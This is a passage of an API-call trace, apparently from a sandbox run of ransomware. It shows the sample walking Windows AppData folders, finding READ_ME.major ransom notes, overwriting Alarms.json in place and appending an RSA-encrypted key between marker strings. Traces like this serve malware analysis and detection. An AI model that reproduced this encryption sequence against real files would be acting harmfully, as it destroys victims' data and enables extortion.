lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12829ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37805f76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.310] FindNextFileW (in: hFindFile=0x2f33720, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37805f76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37805f76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37805f76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.310] FindNextFileW (in: hFindFile=0x2f33720, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37805f76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37805f76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37805f76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.310] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12830e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37805f76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f330e0 [0228.310] FindNextFileW (in: hFindFile=0x2f330e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12830e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37805f76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.311] FindNextFileW (in: hFindFile=0x2f330e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37805f76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37805f76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37805f76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.311] FindNextFileW (in: hFindFile=0x2f330e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37805f76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37805f76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37805f76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.311] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3782c18b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f337e0 [0228.311] FindNextFileW (in: hFindFile=0x2f337e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3782c18b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.311] FindNextFileW (in: hFindFile=0x2f337e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3782c18b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3782c18b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3782c18b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.311] FindNextFileW (in: hFindFile=0x2f337e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3782c18b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3782c18b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3782c18b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.311] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3782c18b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33120 [0228.311] FindNextFileW (in: hFindFile=0x2f33120, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3782c18b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.312] FindNextFileW (in: hFindFile=0x2f33120, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3782c18b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3782c18b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37852360, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.312] FindNextFileW (in: hFindFile=0x2f33120, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3782c18b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3782c18b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37852360, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.312] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x37852360, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33920 [0228.312] FindNextFileW (in: hFindFile=0x2f33920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x37852360, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.312] FindNextFileW (in: hFindFile=0x2f33920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37852360, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37852360, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37852360, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.312] FindNextFileW (in: hFindFile=0x2f33920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37852360, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x37852360, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x37852360, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.312] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xea16dae4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152ab04, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3798367c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33ca0 [0228.312] FindNextFileW (in: hFindFile=0x2f33ca0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xea16dae4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152ab04, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3798367c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.312] FindNextFileW (in: hFindFile=0x2f33ca0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3798367c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3798367c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3798367c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.313] FindNextFileW (in: hFindFile=0x2f33ca0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3798367c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3798367c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3798367c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.313] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xea16dae4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152b40a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3798367c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33c60 [0228.313] FindNextFileW (in: hFindFile=0x2f33c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xea16dae4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152b40a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3798367c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.313] FindNextFileW (in: hFindFile=0x2f33c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3798367c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3798367c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x379a9879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.313] FindNextFileW (in: hFindFile=0x2f33c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3798367c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3798367c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x379a9879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.313] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xea16dae4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152bdcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x379a9879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33e20 [0228.313] FindNextFileW (in: hFindFile=0x2f33e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xea16dae4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152bdcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x379a9879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.313] FindNextFileW (in: hFindFile=0x2f33e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x379a9879, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x379a9879, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x379a9879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.313] FindNextFileW (in: hFindFile=0x2f33e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x379a9879, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x379a9879, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x379a9879, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.314] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\LocalState\\Alarms\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe8bec4c, ftCreationTime.dwHighDateTime=0x1d32746, ftLastAccessTime.dwLowDateTime=0x6cd1c887, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x379cfa8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f338a0 [0228.315] FindNextFileW (in: hFindFile=0x2f338a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe8bec4c, ftCreationTime.dwHighDateTime=0x1d32746, ftLastAccessTime.dwLowDateTime=0x6cd1c887, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x379cfa8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.315] FindNextFileW (in: hFindFile=0x2f338a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe8e4fc6, ftCreationTime.dwHighDateTime=0x1d32746, ftLastAccessTime.dwLowDateTime=0x6cd166df, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x6cd17a65, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x19, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Alarms.json", cAlternateFileName="ALARMS~1.JSO")) returned 1 [0228.315] FindNextFileW (in: hFindFile=0x2f338a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379cfa8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x379cfa8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x379cfa8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.315] FindNextFileW (in: hFindFile=0x2f338a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379cfa8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x379cfa8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x379cfa8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.315] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0228.315] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\LocalState\\Alarms\\Alarms.json", dwFileAttributes=0x80) returned 1 [0228.316] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\LocalState\\Alarms\\Alarms.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\localstate\\alarms\\alarms.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1910 [0228.317] GetFileSizeEx (in: hFile=0x1910, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=25) returned 1 [0228.317] ReadFile (in: hFile=0x1910, lpBuffer=0x2ee6ff0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ee6ff0*, lpNumberOfBytesRead=0x2e3f9b4*=0x19, lpOverlapped=0x0) returned 1 [0228.318] SetFilePointer (in: hFile=0x1910, lDistanceToMove=-25, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0228.318] WriteFile (in: hFile=0x1910, lpBuffer=0x2ee6f50*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ee6f50*, lpNumberOfBytesWritten=0x2e3f9b4*=0x19, lpOverlapped=0x0) returned 1 [0228.318] SetFilePointer (in: hFile=0x1910, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x19 [0228.318] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.318] WriteFile (in: hFile=0x1910, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.318] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0228.319] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0228.319] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0228.319] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="MvohaZU9gO3WVMr6MObWuST6f3ytMXOvdKwK+Y4/FCs5TAULMSgNqj6Gg2h/Y0uG\nxsGvaYZ+T+KaIaQ8QAV0/rL6hG8Ws2qWyE/fIknMNzsdY+5l4jyU6qZy3l4f7zzk\nbpzVGaenTSD15lXF4ks+GA6bkuJywMp0zclOQrrbuzdGeC6TTEhIywLEe7N3mRZq\nWiRaY2LhLJVxU7JESCBh4Sya8EZtC0F98yVYhm6R0Rv4oMIpeGJlq05NqIsc/PKY\nYWa9taZWkiHITemcPx6UjlJa4lxgIizzHHi25uFcxBwSt9ebvlPL1WXykocKxbAv\n6tVOMY2wzWBw4osRp2hMHg==\n", pcchString=0x2e3f9a8) returned 1 [0228.319] WriteFile (in: hFile=0x1910, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0228.319] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0228.319] WriteFile (in: hFile=0x1910, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0228.319] CloseHandle (hObject=0x1910) returned 1 [0228.321] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\LocalState\\Clocks\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe9a3b7f, ftCreationTime.dwHighDateTime=0x1d32746, ftLastAccessTime.dwLowDateTime=0xbe9a3b7f, ftLastAccessTime.dwHighDateTime=0x1d32746, ftLastWriteTime.dwLowDateTime=0x379cfa8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", 